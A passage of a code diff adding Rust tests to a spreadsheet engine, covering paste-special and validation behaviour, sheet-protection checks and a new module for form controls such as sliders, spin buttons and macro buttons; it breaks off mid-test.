+    assert_eq!(after.active().unwrap().cells.len(), before.active().unwrap().cells.len());
+    assert_eq!(v(&s, "C1"), Value::Number(1.0));
+    // Whole rows still paste at column A, whole columns at row 1.
+    s.execute("edit.copy", json!({"range": "15:15"})).unwrap();
+    s.execute("edit.paste", json!({"at": "A20"})).unwrap();
+    assert_eq!(v(&s, "A20"), Value::Text("x".into()));
+}
+
+/// Paste visits only cells that hold something on either side: a blank copied cell still clears
+/// (or reformats) a destination cell that holds something, and blank onto blank stays blank, even
+/// with an operation (Excel leaves it empty rather than writing 0).
+#[test]
+fn paste_blank_cells_clear_destination_and_blank_onto_blank_stays_blank() {
+    let mut s = s();
+    let has_cell = |s: &Session, a: &str| s.doc().unwrap().wb.active().unwrap().cell(CellRef::parse(a).unwrap()).is_some();
+    s.execute("cell.set", json!({"cell": "A1", "input": "5"})).unwrap();
+    s.execute("cell.set", json!({"cell": "D2", "input": "7"})).unwrap();
+    s.execute("edit.copy", json!({"range": "A1:A3"})).unwrap();
+    s.execute("edit.pasteSpecial", json!({"what": "values", "operation": "add", "at": "D1"})).unwrap();
+    assert_eq!(v(&s, "D1"), Value::Number(5.0));
+    assert_eq!(v(&s, "D2"), Value::Number(7.0));
+    assert!(!has_cell(&s, "D3"), "blank + blank stays blank");
+    s.execute("cell.set", json!({"cell": "F2", "input": "old"})).unwrap();
+    s.execute("edit.paste", json!({"at": "F1"})).unwrap();
+    assert_eq!(v(&s, "F1"), Value::Number(5.0));
+    assert!(!has_cell(&s, "F2"), "a blank copied cell clears the destination");
+    s.execute("home.bold", json!({"range": "H2"})).unwrap();
+    assert!(has_cell(&s, "H2"));
+    s.execute("edit.pasteSpecial", json!({"what": "formats", "at": "H1"})).unwrap();
+    assert!(!has_cell(&s, "H2"), "a blank copied cell's format replaces the bold");
+}
+
+/// Validation pastes over the whole pasted area (a blank copied cell's rule included, as Excel
+/// does), and cuts only the pasted cells out of a rule the block lands inside.
+#[test]
+fn paste_validation_covers_the_pasted_area_as_ranges() {
+    let mut s = s();
+    let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true;
+    s.execute("cell.set", json!({"cell": "A1", "input": "5"})).unwrap();
+    s.execute("cell.set", json!({"cell": "A3", "input": "6"})).unwrap();
+    s.execute("data.validation", json!({"range": "A1:A3", "type": "whole", "operator": "greater", "formula1": "0"})).unwrap();
+    s.execute("data.validation", json!({"range": "D1:D3", "type": "list", "formula1": "\"x,y\""})).unwrap();
+    s.execute("edit.copy", json!({"range": "A1:A3"})).unwrap();
+    s.execute("edit.pasteSpecial", json!({"what": "all", "skipBlanks": true, "at": "D1"})).unwrap();
+    assert!(!ok(&mut s, "D2", "-1"), "the blank copied cell's rule is pasted too");
+    assert!(ok(&mut s, "D2", "3"));
+    assert_eq!(validation_areas(&s), ["A1:A3", "D1:D3"]);
+
+    // A block with a rule on its middle cells pasted inside a bigger list rule.
+    let mut s = self::s();
+    s.execute("data.validation", json!({"range": "A2:A3", "type": "whole", "operator": "greater", "formula1": "0"})).unwrap();
+    s.execute("data.validation", json!({"range": "C1:E10", "type": "list", "formula1": "\"p,q\""})).unwrap();
+    s.execute("edit.copy", json!({"range": "A1:A4"})).unwrap();
+    s.execute("edit.paste", json!({"at": "D4"})).unwrap();
+    assert_eq!(validation_areas(&s), ["A2:A3", "C1:E3 C4:C7 E4:E7 C8:E10", "D5:D6"]);
+    assert!(ok(&mut s, "D4", "anything"));
+    assert!(!ok(&mut s, "D5", "-1"));
+    assert!(!ok(&mut s, "D3", "z"));
+
+    // One copied cell tiled over a selection is one rule over the selection.
+    s.execute("edit.copy", json!({"range": "A2"})).unwrap();
+    s.execute("selection.set", json!({"range": "G1:G4"})).unwrap();
+    s.execute("edit.paste", json!({})).unwrap();
+    assert!(validation_areas(&s).contains(&"G1:G4".to_string()));
+}
+
+/// Paste Special > Validation, checked against Excel 16.0: A1 has a list rule, A2 is blank with a
+/// whole-number rule, A3 is blank with no rule, over C1:C3 that hold a decimal rule. With Skip
+/// Blanks a blank source cell that has a rule still pastes it, and one without keeps the
+/// destination's rule; without it the destination's rule is cleared.
+#[test]
+fn paste_validation_skip_blanks_keeps_rules_under_blank_cells_without_one() {
+    let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true;
+    for skip in [true, false] {
+        let mut s = s();
+        s.execute("data.validation", json!({"range": "A1", "type": "list", "formula1": "\"x,y\""})).unwrap();
+        s.execute("data.validation", json!({"range": "A2", "type": "whole", "operator": "greater", "formula1": "0"})).unwrap();
+        s.execute("data.validation", json!({"range": "C1:C3", "type": "decimal", "operator": "greater", "formula1": "0"})).unwrap();
+        s.execute("edit.copy", json!({"range": "A1:A3"})).unwrap();
+        s.execute("edit.pasteSpecial", json!({"what": "validation", "skipBlanks": skip, "at": "C1"})).unwrap();
+        assert!(!ok(&mut s, "C1", "z"), "C1 gets A1's list rule (skip {skip})");
+        assert!(!ok(&mut s, "C2", "1.5"), "C2 gets A2's whole-number rule (skip {skip})");
+        assert_eq!(ok(&mut s, "C3", "-1"), !skip, "C3 keeps its decimal rule only when blanks are skipped");
+    }
+}
+
+/// A big populated Skip Blanks validation paste is not refused for its cell count: only
+/// validation areas are limited, and with no rule under the paste nothing is cleared.
+#[test]
+fn paste_validation_skip_blanks_large_populated_paste() {
+    let mut s = s();
+    s.execute("range.setValues", json!({"range": "A1:A100002", "values": (0..100_002).map(|i| vec![i]).collect::<Vec<_>>()})).unwrap();
+    s.execute("edit.copy", json!({"range": "A1:A100002"})).unwrap();
+    s.execute("edit.pasteSpecial", json!({"what": "validation", "skipBlanks": true, "at": "C1"})).unwrap();
+    assert!(validation_areas(&s).is_empty());
+
+    // A destination rule is cleared under every populated source cell. Count the resulting
+    // coalesced ranges, not the 100,002 cells that were considered for clearing.
+    let mut s = self::s();
+    s.execute("range.setValues", json!({"range": "A1:A100002", "values": (0..100_002).map(|i| vec![i]).collect::<Vec<_>>()})).unwrap();
+    s.execute("data.validation", json!({"range": "C1:C100002", "type": "list", "formula1": "\"x,y\""})).unwrap();
+    s.execute("edit.copy", json!({"range": "A1:A100002"})).unwrap();
+    s.execute("edit.pasteSpecial", json!({"what": "validation", "skipBlanks": true, "at": "C1"})).unwrap();
+    assert!(validation_areas(&s).is_empty());
+}
+
 /// Open a workbook by path, and `CELL("filename")` names the file it came from, as Excel does;
 /// Save As makes the new file the one it names. The sheet-name formula of #1489 depends on it.
 #[test]
@@ -5225,6 +5779,42 @@ fn move_columns_checks_the_protection_of_the_named_sheet() {
    assert_eq!(v(&s, "A1"), Value::text("A"));
 }

+#[test]
+fn move_columns_checks_the_protection_of_a_sheet_named_by_its_range() {
+    // A `Sheet!` range or cell picks the sheet the move modifies; the protection checks must
+    // authorize that sheet too, not the active one.
+    let mut s = s();
+    s.execute("home.insertSheet", json!({"name": "P"})).unwrap();
+    s.execute("range.setValues", json!({"range": "A1", "values": [[1, 2, 3, 4]]})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+    s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
+    for key in ["range", "cell"] {
+        let err = s.execute("sheet.moveColumns", json!({key: "P!A1", "cols": "B:C", "before": 4})).expect_err("moving columns on a protected sheet");
+        assert!(err.to_string().contains("protected"), "{err}");
+    }
+    let d = s.doc().unwrap();
+    let sh = &d.wb.sheets[d.wb.sheet_index("P").unwrap()];
+    let pv: Vec<Value> = (0..4).map(|c| sh.value(CellRef::new(0, c))).collect();
+    assert_eq!(pv, vec![Value::number(1.0), Value::number(2.0), Value::number(3.0), Value::number(4.0)]);
+}
+
+#[test]
+fn sorting_cannot_unlock_a_locked_cell_by_moving_equal_content_onto_it() {
+    // An unlocked 2 sorted onto a locked 2 leaves the content as it was, but would make the cell
+    // editable; the sort is refused instead.
+    let mut s = s();
+    s.execute("range.setValues", json!({"range": "A1", "values": [[2], [2], [1]]})).unwrap();
+    s.execute("home.lockCell", json!({"range": "A1", "on": false})).unwrap();
+    s.execute("home.lockCell", json!({"range": "A3", "on": false})).unwrap();
+    s.execute("review.protectSheet", json!({"sort": true})).unwrap();
+    let before = s.doc().unwrap().wb.clone();
+    let err =
+        s.execute("data.sort", json!({"range": "A1:A3", "header": false, "keys": [{"column": "A", "order": "asc"}]})).expect_err("sort unlocking A2");
+    assert!(err.to_string().contains("protected sheet"), "{err}");
+    assert_eq!(*s.doc().unwrap().wb, *before);
+    assert!(s.execute("cell.set", json!({"cell": "A2", "input": "9"})).is_err(), "A2 stays locked");
+}
+
 #[test]
 fn a_script_cannot_switch_windows() {
    // Stored scripts are scoped to their workbook: a step that activates another window would
@@ -5243,6 +5833,7 @@ fn a_script_cannot_switch_windows() {
    assert_eq!(v(&s, "A1"), Value::number(2.0));
 }

+mod controls;
 mod equation;
 mod macros;
 mod objects;
@@ -5349,3 +5940,177 @@ fn a_view_kept_through_redo_doesnt_make_the_saved_workbook_dirty() {
    assert_eq!(d.wb.active().unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview);
    assert!(!d.is_dirty(), "back at the saved edits, the view alone isn't a change");
 }
+
+#[test]
+fn workbook_display_options_are_commands() {
+    // #3101: Show sheet tabs / horizontal / vertical scroll bar, toggling without `on`, saved with
+    // the workbook and undoable.
+    let mut s = Session::new();
+    s.new_workbook();
+    let view = |s: &Session| s.doc().unwrap().wb.view;
+    assert_eq!(s.execute("view.showSheetTabs", json!({})).unwrap()["on"], json!(false));
+    assert_eq!(s.execute("view.showHorizontalScrollBar", json!({"on": false})).unwrap()["on"], json!(false));
+    assert_eq!(s.execute("view.showVerticalScrollBar", json!({"on": false})).unwrap()["on"], json!(false));
+    let v = view(&s);
+    assert!(!v.show_sheet_tabs && !v.show_horizontal_scroll && !v.show_vertical_scroll);
+    let (back, _) = gridcraft_xlsx::read_xlsx(&gridcraft_xlsx::write_xlsx(&s.doc().unwrap().wb).unwrap()).unwrap();
+    assert_eq!(back.view, v, "saved with the workbook");
+    s.execute("edit.undo", json!({})).unwrap();
+    assert!(view(&s).show_vertical_scroll);
+    assert_eq!(s.execute("view.showSheetTabs", json!({})).unwrap()["on"], json!(true), "toggles back");
+}
+
+/// A link from a file can sit on a cell with nothing stored in it, past the used range (or on a
+/// sheet with no cells at all). Clear Hyperlinks, and Remove Hyperlink in the cell menu, must
+/// still remove it.
+#[test]
+fn clear_hyperlinks_removes_links_on_cells_with_nothing_stored() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap();
+    let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true };
+    let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap());
+    std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().hyperlinks.insert(c5, link());
+    s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap();
+    assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&c5), "the link past the used range is removed");
+
+    // No cells at all.
+    s.execute("edit.clearAll", json!({"range": "A1"})).unwrap();
+    std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().hyperlinks.insert(a1, link());
+    s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap();
+    assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&a1), "the link on an empty sheet is removed");
+}
+
+/// Notes and links aren't cell contents, so the cell comparison that guards a protected sheet
+/// doesn't see them go: Clear Hyperlinks and Clear Comments refuse locked cells themselves,
+/// stored or not.
+#[test]
+fn clearing_links_and_notes_respects_sheet_protection() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap();
+    let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true };
+    let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap());
+    {
+        let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
+        sh.hyperlinks.insert(a1, link());
+        sh.hyperlinks.insert(c5, link());
+    }
+    s.execute("review.newNote", json!({"cell": "C5", "text": "note", "author": "Example"})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+    for (cmd, range) in [("edit.clearHyperlinks", "A1"), ("edit.clearHyperlinks", "C5"), ("edit.clearComments", "C5")] {
+        assert!(s.execute(cmd, json!({"range": range})).is_err(), "{cmd} on locked {range}");
+    }
+    let sh = s.doc().unwrap().wb.active().unwrap().clone();
+    assert!(sh.hyperlinks.contains_key(&a1) && sh.hyperlinks.contains_key(&c5) && sh.comments.contains_key(&c5), "nothing removed");
+
+    s.execute("review.unprotectSheet", json!({})).unwrap();
+    s.execute("edit.clearHyperlinks", json!({"range": "A1:C5"})).unwrap();
+    s.execute("edit.clearComments", json!({"range": "C5"})).unwrap();
+    let sh = s.doc().unwrap().wb.active().unwrap().clone();
+    assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty());
+}
+
+/// A removed link or note is a change to its cell even when nothing is stored there, so a
+/// recorded macro's footprint lists it.
+#[test]
+fn clearing_links_and_notes_records_their_cells() {
+    let mut s = s();
+    let c5 = CellRef::parse("C5").unwrap();
+    std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb)
+        .sheet_mut(0)
+        .unwrap()
+        .hyperlinks
+        .insert(c5, gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true });
+    s.execute("review.newNote", json!({"cell": "D7", "text": "note", "author": "Example"})).unwrap();
+    s.doc_mut().unwrap().touched = Some(Vec::new());
+    s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap();
+    s.execute("edit.clearComments", json!({"range": "D7"})).unwrap();
+    let touched: Vec<String> = s.doc().unwrap().touched.clone().unwrap_or_default().into_iter().map(|(_, c)| c.a1()).collect();
+    assert!(touched.contains(&"C5".to_string()) && touched.contains(&"D7".to_string()), "{touched:?}");
+}
+
+/// The locked-cell check for notes and links keeps Allow Edit Ranges: a range without a password
+/// allows them at once, one with a password once it's unlocked in this session.
+#[test]
+fn clearing_links_and_notes_keeps_allow_edit_ranges() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap();
+    let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true };
+    let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap());
+    {
+        let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
+        sh.hyperlinks.insert(a1, link());
+        sh.hyperlinks.insert(c5, link());
+    }
+    s.execute("review.newNote", json!({"cell": "C5", "text": "note", "author": "Example"})).unwrap();
+    // Ranges are added before protecting: a protected sheet refuses `add`.
+    s.execute("review.allowEditRanges", json!({"action": "add", "title": "Open", "range": "A1"})).unwrap();
+    s.execute("review.allowEditRanges", json!({"action": "add", "title": "Kept", "range": "C5", "password": "example"})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+
+    s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap();
+    assert!(s.execute("edit.clearComments", json!({"range": "C5"})).is_err(), "a password range stays locked until unlocked");
+    s.execute("review.allowEditRanges", json!({"action": "unlock", "title": "Kept", "password": "example"})).unwrap();
+    s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap();
+    s.execute("edit.clearComments", json!({"range": "C5"})).unwrap();
+    let sh = s.doc().unwrap().wb.active().unwrap().clone();
+    assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty());
+}
+
+#[test]
+fn protected_sheet_refuses_layout_commands_its_permissions_do_not_allow() {
+    let mut s = s();
+    s.execute("range.setValues", json!({"range": "A1", "values": [["h"], [1], [2]]})).unwrap();
+    s.execute("data.filter", json!({"range": "A1:A3"})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+    for (id, params) in [
+        ("home.rowHeight", json!({"rows": "1:1", "height": 40})),
+        ("home.columnWidth", json!({"cols": "A:A", "width": 80})),
+        ("data.group", json!({"rows": "2:3"})),
+        ("data.showLevels", json!({"rows": 1})),
+        ("data.clearFilter", json!({})),
+        ("data.reapply", json!({})),
+        ("insert.picture", json!({"base64": "iVBORw0KGgo="})),
+    ] {
+        let err = s.execute(id, params).expect_err(id).to_string();
+        assert!(err.contains("protected"), "{id}: {err}");
+    }
+    // With the permissions ticked the same layout commands run.
+    s.execute("review.unprotectSheet", json!({})).unwrap();
+    s.execute("review.protectSheet", json!({"formatRows": true, "formatColumns": true, "autofilter": true})).unwrap();
+    for (id, params) in [
+        ("home.rowHeight", json!({"rows": "1:1", "height": 40})),
+        ("home.columnWidth", json!({"cols": "A:A", "width": 80})),
+        ("data.reapply", json!({})),
+    ] {
+        s.execute(id, params).unwrap_or_else(|e| panic!("{id}: {e}"));
+    }
+}
+
+#[test]
+fn an_edit_range_limited_to_windows_users_stays_locked() {
+    use gridcraft_model::EditRange;
+    let mut s = s();
+    let a1 = CellRef::parse("A1").unwrap();
+    let range = |sd: Option<&str>| EditRange {
+        title: "T".into(),
+        ranges: vec![gridcraft_core::RangeRef::cell(a1)],
+        password: None,
+        security_descriptor: sd.map(str::to_string),
+    };
+    let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
+    sh.edit_ranges.push(range(None));
+    assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_none(), "an open range");
+    sh.edit_ranges = vec![range(Some("D:(A;;GA;;;WD)"))];
+    assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_some(), "a user-limited range");
+}
+
+#[test]
+fn pivot_new_sheet_destination_respects_workbook_structure_protection() {
+    let mut s = s();
+    s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Sales"], ["N", 1], ["S", 2]]})).unwrap();
+    s.execute("review.protectWorkbook", json!({"on": true})).unwrap();
+    for dest in ["new", "NEW", " new ", ""] {
+        assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "destination": dest})).is_err(), "destination {dest:?}");
+    }
+    assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "location": "New"})).is_err());
+}
@@ -0,0 +1,847 @@
+//! Form controls: buttons, sliders and spin buttons (insert, format, assign, setValue, press).
+
+use gridcraft_core::Value;
+use gridcraft_model::{ControlAction, ControlKind, FormControl, MacroInput};
+use serde_json::{Value as Json, json};
+
+use super::{s, v};
+use crate::{EngineError, Session, Trust};
+
+fn id(r: &Json) -> u64 {
+    r["control"].as_u64().unwrap()
+}
+
+fn control(s: &Session, id: u64) -> FormControl {
+    s.doc().unwrap().wb.active().unwrap().controls.iter().find(|c| c.id as u64 == id).cloned().unwrap()
+}
+
+fn undo_len(s: &Session) -> usize {
+    s.doc().unwrap().undo.len()
+}
+
+fn err(r: crate::Result<Json>) -> String {
+    r.unwrap_err().to_string()
+}
+
+#[test]
+fn numbers_are_whole_and_each_rule_has_its_own_error() {
+    let mut s = s();
+    let ok = s.execute("insert.slider", json!({"at": "D2", "min": 10, "max": 50, "step": 5, "page": 10})).unwrap();
+    let c = control(&s, id(&ok));
+    assert_eq!((c.kind, c.min, c.max, c.step, c.page, c.value), (ControlKind::Slider, 10, 50, 5, 10, 10));
+    for (p, needle) in [
+        (json!({"min": 2.5}), "`min` must be a whole number from 0 to 30000"),
+        (json!({"min": -1}), "`min` must be a whole number"),
+        (json!({"max": 30001}), "`max` must be a whole number from 0 to 30000"),
+        (json!({"step": "two"}), "`step` must be a whole number"),
+        (json!({"max": 1e300}), "`max` must be a whole number"),
+        (json!({"min": 50, "max": 50}), "Maximum value (50) must be greater than Minimum value (50)"),
+        (json!({"min": 60, "max": 50}), "must be greater than Minimum"),
+        (json!({"step": 0}), "Incremental change must be at least 1"),
+        (json!({"min": 0, "max": 10, "step": 11}), "Incremental change (11) can be at most Maximum minus Minimum (10)"),
+        (json!({"step": 5, "page": 2}), "Page change (2) must be at least the incremental change (5)"),
+        (json!({"link": "not a cell"}), "isn't a cell of this workbook"),
+        (json!({"link": "Nowhere!A1"}), "isn't a cell of this workbook"),
+        (json!({"link": "A1:B2"}), "isn't a cell"),
+    ] {
+        let e = err(s.execute("insert.slider", p.clone()));
+        assert!(e.contains(needle), "{p}: {e}");
+    }
+    // A spin button has no page change, so a page below the step is fine.
+    s.execute("insert.spinButton", json!({"step": 5, "page": 2})).unwrap();
+    // Numbers in text are numbers.
+    let n = id(&s.execute("insert.spinButton", json!({"min": "3", "max": "9"})).unwrap());
+    let c = control(&s, n);
+    assert_eq!((c.min, c.max, c.value), (3, 9, 3));
+    // A larger step pulls a slider's default page up with it.
+    let n = id(&s.execute("insert.slider", json!({"max": 1000, "step": 50})).unwrap());
+    let c = control(&s, n);
+    assert_eq!(c.page, 50);
+    // The model checks the same rules.
+    let bad = FormControl { kind: ControlKind::Spin, min: 0, max: 30_001, ..Default::default() };
+    assert!(bad.check_numbers().is_err());
+    assert!(FormControl { kind: ControlKind::Button, max: 0, ..Default::default() }.check_numbers().is_ok());
+}
+
+#[test]
+fn set_value_clamps_snaps_and_writes_the_link_as_one_undo_step() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "C1", "input": "=B1*2"})).unwrap();
+    let c = id(&s.execute("insert.slider", json!({"link": "B1", "min": 10, "max": 100, "step": 5})).unwrap());
+    assert_eq!(control(&s, c).link.as_deref(), Some("$B$1"));
+    let before = undo_len(&s);
+    for (given, want) in [(37.0, 35.0), (38.0, 40.0), (-5.0, 10.0), (1e9, 100.0), (99.0, 100.0), (12.4, 10.0)] {
+        let r = s.execute("control.setValue", json!({"id": c, "value": given})).unwrap();
+        assert_eq!(r["value"], json!(want as u32), "{given}");
+        assert_eq!(v(&s, "B1"), Value::Number(want), "{given}");
+        assert_eq!(v(&s, "C1"), Value::Number(want * 2.0), "dependents recalculate");
+        assert_eq!(control(&s, c).value, want as u32);
+    }
+    assert_eq!(undo_len(&s), before + 5, "one undo step per change (99 snaps to the 100 it holds)");
+    s.execute("edit.undo", json!({})).unwrap();
+    assert_eq!(v(&s, "B1"), Value::Number(100.0));
+    assert_eq!(control(&s, c).value, 100);
+    // Setting the value it already has adds no step.
+    let n = undo_len(&s);
+    s.execute("control.setValue", json!({"id": c, "value": 100})).unwrap();
+    assert_eq!(undo_len(&s), n);
+    for p in [json!({"id": c}), json!({"id": c, "value": "x"}), json!({"id": 999, "value": 1}), json!({"value": 1})] {
+        assert!(s.execute("control.setValue", p).is_err());
+    }
+    // A button has no value.
+    let b = id(&s.execute("insert.button", json!({})).unwrap());
+    assert!(err(s.execute("control.setValue", json!({"id": b, "value": 1}))).contains("control.press"));
+}
+
+#[test]
+fn editing_the_linked_cell_moves_the_control() {
+    let mut s = s();
+    let c = id(&s.execute("insert.spinButton", json!({"link": "$B$2", "max": 20, "step": 2})).unwrap());
+    s.execute("cell.set", json!({"cell": "B2", "input": "7"})).unwrap();
+    assert_eq!(control(&s, c).value, 8, "snapped to the step");
+    s.execute("cell.set", json!({"cell": "B2", "input": "500"})).unwrap();
+    assert_eq!(control(&s, c).value, 20, "clamped");
+    s.execute("cell.set", json!({"cell": "B2", "input": "text"})).unwrap();
+    assert_eq!(control(&s, c).value, 20, "text leaves it where it was");
+    // A new control starts at what its cell holds.
+    s.execute("cell.set", json!({"cell": "D4", "input": "12"})).unwrap();
+    let d = id(&s.execute("insert.slider", json!({"link": "D4", "max": 20})).unwrap());
+    assert_eq!(control(&s, d).value, 12);
+    // A linked cell on another sheet.
+    s.execute("home.insertSheet", json!({"name": "Data Sheet"})).unwrap();
+    s.execute("sheet.activate", json!({"sheet": "Sheet1"})).unwrap();
+    let e = id(&s.execute("insert.slider", json!({"link": "'Data Sheet'!a1", "value": 30})).unwrap());
+    assert_eq!(control(&s, e).link.as_deref(), Some("'Data Sheet'!$A$1"));
+    let wb = &s.doc().unwrap().wb;
+    let other = wb.sheet(wb.sheet_index("Data Sheet").unwrap()).unwrap();
+    assert_eq!(other.cell(gridcraft_core::CellRef::new(0, 0)).unwrap().value, Value::Number(30.0));
+}
+
+#[test]
+fn format_replies_with_the_value_a_new_link_gives() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "C5", "input": "30"})).unwrap();
+    let c = id(&s.execute("insert.slider", json!({"link": "B1", "max": 100, "value": 10})).unwrap());
+    // Relinked to a cell that holds another number, the control takes that number, and the reply
+    // says so, as control.list does.
+    let r = s.execute("control.format", json!({"id": c, "link": "C5"})).unwrap();
+    assert_eq!(control(&s, c).value, 30);
+    assert_eq!(r["value"], json!(30), "{r}");
+    assert_eq!(r["link"], json!("$C$5"), "{r}");
+    // A given value is written to the new link and replied as given.
+    let r = s.execute("control.format", json!({"id": c, "link": "D6", "value": 44})).unwrap();
+    assert_eq!((r["value"].clone(), v(&s, "D6")), (json!(44), Value::Number(44.0)));
+}
+
+#[test]
+fn links_follow_inserted_rows() {
+    let mut s = s();
+    let c = id(&s.execute("insert.slider", json!({"at": "E2", "link": "B3", "value": 40})).unwrap());
+    s.execute("selection.set", json!({"range": "1:1"})).unwrap();
+    s.execute("home.insertRows", json!({})).unwrap();
+    let ctl = control(&s, c);
+    assert_eq!(ctl.link.as_deref(), Some("$B$4"));
+    assert_eq!(ctl.anchor.cell.a1(), "E3");
+    assert_eq!(v(&s, "B4"), Value::Number(40.0));
+    s.execute("control.setValue", json!({"id": c, "value": 41})).unwrap();
+    assert_eq!(v(&s, "B4"), Value::Number(41.0));
+}
+
+#[test]
+fn format_and_assign() {
+    let mut s = s();
+    let c = id(&s.execute("insert.slider", json!({"link": "B1", "max": 100, "value": 80})).unwrap());
+    let r = s.execute("control.format", json!({"id": c, "max": 50, "name": "Rate", "horizontal": false})).unwrap();
+    assert_eq!(
+        (r["max"].clone(), r["value"].clone(), r["name"].clone(), r["horizontal"].clone()),
+        (json!(50), json!(50), json!("Rate"), json!(false))
+    );
+    assert_eq!(v(&s, "B1"), Value::Number(50.0), "the new maximum pulls the linked value in");
+    assert!(err(s.execute("control.format", json!({"id": c, "min": 50}))).contains("greater than Minimum"));
+    assert_eq!(control(&s, c).min, 0, "a refused change leaves the control as it was");
+    s.execute("control.format", json!({"id": c, "link": ""})).unwrap();
+    assert_eq!(control(&s, c).link, None);
+    s.execute("control.format", json!({"id": c, "value": 25})).unwrap();
+    assert_eq!(v(&s, "B1"), Value::Number(50.0), "without a link nothing is written");
+    // Buttons: text and action.
+    // A fixed input needs a macro that takes one.
+    s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "x"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
+    let b = id(&s.execute("insert.button", json!({"text": "Go", "macro": "Fill", "input": "C2:D4", "output": "F2"})).unwrap());
+    let action = control(&s, b).action;
+    assert_eq!(action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) }));
+    s.execute("control.assign", json!({"id": b, "command": "home.bold", "params": {"range": "A1"}})).unwrap();
+    assert!(matches!(control(&s, b).action, Some(ControlAction::Command { ref id, .. }) if id == "home.bold"));
+    assert!(err(s.execute("control.assign", json!({"id": b, "command": "file.saveAs"}))).contains("can't run file.saveAs"));
+    assert!(err(s.execute("control.assign", json!({"id": b, "command": "control.press", "params": {"id": b}}))).contains("can't run control.press"));
+    assert!(err(s.execute("control.assign", json!({"id": b, "command": "no.such"}))).contains("no command"));
+    assert!(err(s.execute("control.assign", json!({"id": b, "macro": "Fill", "input": "nonsense!!"}))).contains("`input`"));
+    assert!(err(s.execute("control.assign", json!({"id": b}))).contains("clear"));
+    assert!(err(s.execute("control.assign", json!({"id": c, "macro": "Fill"}))).contains("only buttons"));
+    s.execute("control.assign", json!({"id": b, "clear": true})).unwrap();
+    assert_eq!(control(&s, b).action, None);
+    // Renaming the macro keeps the button pointing at it.
+    s.execute("control.assign", json!({"id": b, "macro": "fill"})).unwrap();
+    s.execute("macro.rename", json!({"name": "Fill", "to": "Fill Block"})).unwrap();
+    assert!(matches!(control(&s, b).action, Some(ControlAction::Macro { ref name, .. }) if name == "Fill Block"));
+    let list = s.execute("control.list", json!({})).unwrap();
+    assert_eq!(list.as_array().map(Vec::len), Some(2));
+    assert_eq!(list[1]["text"], json!("Go"));
+}
+
+#[test]
+fn pressing_a_button_runs_its_macro_as_one_undo_step() {
+    let mut s = s();
+    s.execute(
+        "macro.save",
+        json!({"name": "Mark", "inputs": [{"name": "Input", "kind": "range"}], "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "done"}}], "output": {"onConflict": "overwrite"}}),
+    )
+    .unwrap();
+    let b = id(&s.execute("insert.button", json!({"macro": "Mark"})).unwrap());
+    s.execute("selection.set", json!({"range": "C3:D4"})).unwrap();
+    let before = undo_len(&s);
+    let r = s.execute("control.press", json!({"id": b})).unwrap();
+    assert_eq!(r["macro"], json!("Mark"));
+    assert_eq!(v(&s, "C3"), Value::text("done"));
+    assert_eq!(undo_len(&s), before + 1);
+    s.execute("edit.undo", json!({})).unwrap();
+    assert_eq!(v(&s, "C3"), Value::Empty);
+    // A fixed input ignores the selection.
+    s.execute("control.assign", json!({"id": b, "macro": "Mark", "input": "F6:G7"})).unwrap();
+    s.execute("control.press", json!({"id": b})).unwrap();
+    assert_eq!((v(&s, "F6"), v(&s, "C3")), (Value::text("done"), Value::Empty));
+    // No action, a missing macro, not a button.
+    let empty = id(&s.execute("insert.button", json!({"text": "Nothing"})).unwrap());
+    assert!(err(s.execute("control.press", json!({"id": empty}))).contains("has no action"));
